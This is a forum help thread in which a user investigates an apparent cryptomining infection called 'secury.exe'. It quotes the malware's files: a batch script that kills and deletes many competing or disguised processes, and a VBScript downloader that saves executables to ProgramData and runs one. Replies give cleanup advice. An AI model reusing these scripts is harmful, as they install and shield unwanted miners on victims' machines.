I have the following situation in my task manager:

Task Manager - Processes

I don't know what kind of app it is, but definitely not Steam client bootstrapper because I didn't install it and also can't uninstall it.

If I try to figure out what kind of app it is via this step:

Task Manager - Go to details

I see something like this:

Task Manager - Details

In MS Config utility I didn't find anything that looks like secury.exe.

When I open the file location, I see three files:

m.bat, b.exe, 4.vbs.

Below goes the content of m.bat:

taskkill /f /t /im secury.exe
taskkill /f /t /im kingsoft.exe
taskkill /f /t /im expl0rer.exe
taskkill /f /t /im ieplare.exev
taskkill /f /t /im nssm.exe
taskkill /f /t /im MSASCui.exe
taskkill /f /t /im SystemSettlngs.exe
taskkill /f /t /im SystemSetting.exe
taskkill /f /t /im Process.exe
taskkill /f /t /im winlnlt.exe
taskkill /f /t /im WindowsUpgrade.exe
taskkill /f /t /im msdc.exe
taskkill /f /t /im Fiddlere.exe
taskkill /f /t /im shovst.exe
taskkill /f /t /im lqrtqe.exe
taskkill /f /t /im apkls.exe
taskkill /f /t /im winlog.exe
taskkill /f /t /im svchosts.exe
taskkill /f /t /im win1ogins.exe
taskkill /f /t /im shovsts.exe
taskkill /f /t /im fcty.exe
taskkill /f /t /im soiuos.exe
taskkill /f /t /im TrustedInstaller.exe
del C:\Windows\System32\soiuos.exe
del C:\Windows\Setup\TrustedInstaller.exe
del C:\ProgramData\kingsoft.exe
del C:\ProgramData\expl0rer.exe
del C:\ProgramData\ieplare.exe
del C:\ProgramData\nssm.exe
del C:\ProgramData\MSASCui.exe
del C:\ProgramData\SystemSettlngs.exe
del C:\ProgramData\SystemSetting.exe
del C:\ProgramData\Process.exe
del C:\ProgramData\winlnlt.exe
del C:\ProgramData\WindowsUpgrade.exe
del C:\ProgramData\msdc.exe
del C:\ProgramData\Fiddlere.exe
del C:\ProgramData\shovst.exe
del C:\ProgramData\lqrtqe.exe
del C:\ProgramData\apkls.exe
del C:\ProgramData\winlog.exe
del C:\ProgramData\svchosts.exe
del C:\ProgramData\win1ogins.exe
del C:\ProgramData\shovsts.exe
del C:\ProgramData\fcty.exe
del C:\ProgramData\pool.exe
del C:\ProgramData\pool2.exe
del C:\ProgramData\pool3.exe

Next goes 4.vbs:

Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","",0
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.SaveToFile "c:\ProgramData\s2.exe",2
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","",0
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.SaveToFile "c:\ProgramData\pool2.exe",2
CreateObject("WScript.Shell").Run "C:\ProgramData\pool3.exe"
CreateObject("WScript.Shell").Run "del C:\ProgramData\pool3.exe"

What can I do in order to stop secury.exe from abusing computing powers of my server?

P.S. I've executed Avast full check of my computer, but it didn't find anything wrong.

  • That... looks awfully suspicious (the content of those batch files and the VBS). Any chance of you going into safe mode (and hopefully that thing is not running) and then you can try to delete them? If safe mode is not an option - boot from an external drive (or Linux LiveUSB/LiveCD) and with the HDD accessible - delete those files? – Darius Nov 19 '17 at 10:44
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    At this point you should assume that your computer has been completely compromised. You could run a number of virus checkers and pray that they've worked - but I'd recommend backing up everything of importance and then formatting and reinstalling Windows. – Richard Nov 19 '17 at 12:00
  • I deleted those files many times, but it didn't work – Yuriy Zaletskyy Nov 19 '17 at 13:17

I want to share a workaround that I found for my problem.

As a programmer, I've created a program that constantly monitors the folder c:\ProgramData\ for any new files. And if some of the files that belong to "steam client bootstrappper" appears inside of that folder, my program deletes those files before they will be executed. If anybody needs to modify this utility you can find it at GitHub.

After I've executed this primitive antivirus (actually antiPUP) my system stopped from being slow. One more detail that is required for this program to work with stability is the requirement to crate folder c:\ProgramData\copyForVirus\. I've made the program to create a copy of those virus files in order to analyze them later in some more VM Ware environment for what are internals of those files.

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